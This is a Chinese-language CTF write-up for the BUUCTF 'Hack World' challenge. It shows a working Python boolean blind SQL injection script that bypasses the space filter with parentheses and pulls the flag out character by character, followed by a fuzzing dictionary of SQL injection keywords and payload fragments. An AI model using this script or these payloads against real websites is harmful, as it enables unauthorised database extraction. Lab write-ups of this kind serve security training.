BUUCTF WEB [CISCN2019 華北賽區 Day2 Web1]Hack World

BUUCTF WEB [CISCN2019 華北賽區 Day2 Web1]Hack World

打開題目，看提示貌似是一個sql注入的題目~~
進行簡單測試，貌似不是報錯注入，直接進行盲注測試，構造一波！！
抓包構造：id=1=(1)=1與id=1=(0)=1顯示是不一樣的：


我們可以根據頁面顯示來進行注入！！fuzz一波，看看過濾了啥！


482都是被過濾了的：

ok，ascii沒有被過濾，substr也沒有！！空格被過濾可以使用()代替，，<>也沒有被過濾，=也沒有
直接寫腳本即可：

import requests
import base64
import sys
import string
import hashlib
import io
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')		#改變標準輸出的默認編碼,否則s.text不能輸出
x = string.printable
flag = ""
url = "http://56039d8e-d2a3-4fc1-8195-3e18f2c1ea8c.node3.buuoj.cn/index.php"
payload={
	"id" : ""
}
for i in range(0,60):
	for j in x:
		payload["id"] = "1=(ascii(substr((select(flag)from(flag)),%s,1))=%s)=1"%(str(i),ord(j))
		s = requests.post(url,data=payload)
		#print(s.text)
		if "Hello" in s.text:
			flag += j
			print(flag)
			break
			
print(flag)

得到flag:

sql字典，自己搞的，漏了什麼可以自己加：

select
from
ascii
substr
table
column
by
schema
where
extractvalue
exp
if
/
(
)
%
!
@
#
$
^
&
*
-
_
+
=
'
"
~
`
\
|
,
.
||
&&
order
updatexml
limit
And
Or
%23
 
<
>
regex
group_concat
table_name
table_schema
column_name
database
imformation
union select
ascii(substr())
(select(group_concat(table_name))
from(information_schema.tables)where(table_schema=database())
(ascii(substr((select(group_concat(flaaag))from(flag)),%s,1))=%s)
where(table_schema=database())